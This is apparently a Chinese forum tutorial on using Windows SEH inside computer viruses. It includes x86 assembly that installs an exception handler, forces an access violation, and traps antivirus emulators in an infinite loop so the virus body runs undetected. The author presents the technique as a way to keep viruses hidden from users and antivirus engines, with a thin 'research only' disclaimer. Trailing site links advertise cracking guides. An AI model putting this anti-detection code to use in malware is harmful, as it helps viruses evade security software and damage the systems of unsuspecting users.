SEH 於病毒的應用
前話:
由於小弟技術很爛,有錯的地方,請多多指正,不要客氣。謝謝啦…這篇文章是我的第一篇,可能會
錯誤百出,所以不要期待這是一篇好文章。希望能共同進步!
*這篇文章隻出於研究病毒用途,請不要用此技術制造具有破壞性的病毒。謝謝!如有任何人用此技術
造成任何破壞,於本人無關!
簡介:
SEH 是什麼?不知道是什麼東東的話,就先去看看hume寫的《SEH in ASM 的研究》或者
《Win32 Exception handling for assembler programmers by Jeremy Gordon》,再回來看這篇
爛文章吧!
1.為什麼要在病毒裡使用seh呢?
任何程序都有可能有錯誤出現的,在我們的病毒裡也是一樣。病毒通常是用戶在不知不覺下
做手腳,如果我們的病毒出了錯,那麼就有可能彈出一個個討厭的錯誤信息框,這樣一來我們的病毒
就沒有什麼意思了。不被用戶察覺是十分重要的,所以我們要用SEH來處理我們病毒裡有可能出現的錯
誤。這是 SEH 於病毒中的應用之一,相信你在看完成SEH 的文章後,應該知道怎樣使用SEH去處理在
病毒裡所產生的異常。
在我們的病毒裡還有一樣很重要的是--避免被偵察到,不然我們的病毒在開始運行的時候就被
發現和殺掉,那麼我們的心血就泡湯了!所以我們要令我們的病毒不容易給 反病毒引擎 發現。
當一個程序運行時,反病毒引擎會模擬程序的代碼,如果它找到的疑點多的話,那麼這個程序
大多是被病毒感染了!這時反病毒引擎會做出適當的處理。所以我們可以在病毒裡使用SEH設計一個陷阱
給AVs的Emulator。這樣就可避免被捕!哈哈!
2.如何用SEH於你的病毒去搞定Emulator?
o當!o當!入正題!既然它那麼喜歡要模擬我們的代碼,我們就在病毒一開始就安裝一個SEH,
該處理異常程序就是我們的病毒,然後製造一個異常。這樣就進入異常處理程序(我們的病毒)繼續執行
。而仿真器卻會以為是這是個普通異常處理程序,但是有些AVs會在遇到錯誤代碼之后試圖繼續模擬下一
個指令,那麼我們就讓它進入一個死循環!哈哈!How? 看看下面的代碼:
*部分代碼是引用benny's polymorphic engine
start:call Set_SEH;這句其實就是 push offset CONTINUE
; JMP Set_SEH
CONTINUE:mov esp, [esp+8];恢復堆棧, 當一個異常產生時,系統會掛起程序,並呼叫處理程序,
;傳送處理程序的參數裡,在[ESP+8]處儲存的是舊的堆棧的地址
push offset Start_Virus ;----_ 把Start_Virus 的地址壓進堆棧裡,當作返回地址
ret;---- 跟著來一個ret,跳到Start_Virus去,是不是很magic?
Set_SEH:sub edx, edx ;Edx =0
;如果你使用的是masm,應該加下面一句,不然就會引起編譯錯誤
;Assume fs:nothing
push dword ptr fs:[edx];把指去 _EXCEPTIONAL_REGISTRATION_RECORD 結構的指針壓到堆棧
mov fs:[edx], esp;安裝一個seh 框架
mov [edx],edx;注意這裡引起一個異常,因為edx=0, 所以會引起一個讀寫內存沖突的異常,
;如果Emulator 不理會異常,不進入seh 處理程序(即 CONTINUE: ),繼續模
;擬下個指令,也就是jmp start,那麼就會進入一個死循環,這可能會造成當
jmp start ;機
Start_Virus: .....
.....
自己試試看吧!
明白了嗎?不明白?沒關系,沒有什麼人什麼都懂,寫信給我,我們來討論一下吧!我的qq:50527053,icq 72424549
email:henrynote@msn.com
*後話
SEH 的應用很廣,不隻是在病毒裡有用(廢話),最常用的當然是用來處理在可預知的異常,SEH 技術也可以用於
返跟蹤等等!
寫這篇的文章的目的是為了和各位初學者分享學習結果,我也是初學者,希望能與大家一同進步。
在這裡要感謝很多人,所有幫助過我的朋友,有鼓勵我寫這篇文章的-老羅,還有很多大哥。
--------------------------------------------------------------------------------------------------------------
相关视频
相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么
热门文章 去除winrar注册框方法
最新文章
比特币病毒怎么破解 比去除winrar注册框方法
华为无线路由器HG522-C破解教程(附超级密码JEB格式文件京东电子书下载和阅读限制破解教UltraISO注册码全集(最新)通过Access破解MSSQL获得数据
人气排行 华为无线路由器HG522-C破解教程(附超级密码JEB格式文件京东电子书下载和阅读限制破解教UltraISO注册码全集(最新)qq相册密码破解方法去除winrar注册框方法(适应任何版本)怎么用手机破解收费游戏华为无线猫HG522破解如何给软件脱壳基础教程
查看所有0条评论>>